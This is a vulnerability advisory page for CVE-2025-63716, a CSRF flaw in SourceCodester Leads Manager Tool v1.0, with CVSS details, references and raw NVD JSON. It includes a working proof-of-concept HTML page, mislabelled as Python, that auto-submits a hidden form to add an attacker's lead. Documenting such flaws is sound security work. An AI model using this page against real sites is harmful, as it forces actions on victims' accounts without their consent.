CVE-2025-63716

Description

The SourceCodester Leads Manager Tool v1.0 is vulnerable to Cross-Site Request Forgery (CSRF) attacks that allow unauthorized state-changing operations. The application lacks CSRF protection mechanisms such as anti-CSRF tokens or same-origin verification for critical endpoints.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rems:leads_manager_tool:1.0:*:*:*:*:*:*:* - VULNERABLE

SourceCodester Leads Manager Tool v1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <form action="http://target-site/leads-manager/add_lead.php" method="POST" id="csrfForm"> <input type="hidden" name="first_name" value="Attacker"> <input type="hidden" name="last_name" value="Test"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="phone" value="1234567890"> <input type="hidden" name="company" value="Malicious Company"> <input type="hidden" name="notes" value="CSRF Attack via CVE-2025-63716"> <input type="hidden" name="submit" value="Add Lead"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63716
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63716
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63716/
[4] VulDB https://vuldb.com/cve/CVE-2025-63716
[5] https://github.com/floccocam-cpu/CVE-Research-2025/blob/main/CVE-2025-63716/README5.md
[6] https://www.sourcecodester.com/php/17510/leads-manager-tool-using-php-and-mysql-source-code.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63716", "sourceIdentifier": "[email protected]", "published": "2025-11-07T18:15:36.653", "lastModified": "2025-11-17T18:37:54.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SourceCodester Leads Manager Tool v1.0 is vulnerable to Cross-Site Request Forgery (CSRF) attacks that allow unauthorized state-changing operations. The application lacks CSRF protection mechanisms such as anti-CSRF tokens or same-origin verification for critical endpoints."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rems:leads_manager_tool:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "94D0D566-14CD-4A7B-869C-0C34E5E01F62"}]}]}], "references": [{"url": "https://github.com/floccocam-cpu/CVE-Research-2025/blob/main/CVE-2025-63716/README5.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sourcecodester.com/php/17510/leads-manager-tool-using-php-and-mysql-source-code.html", "source": "[email protected]", "tags": ["Product"]}]}}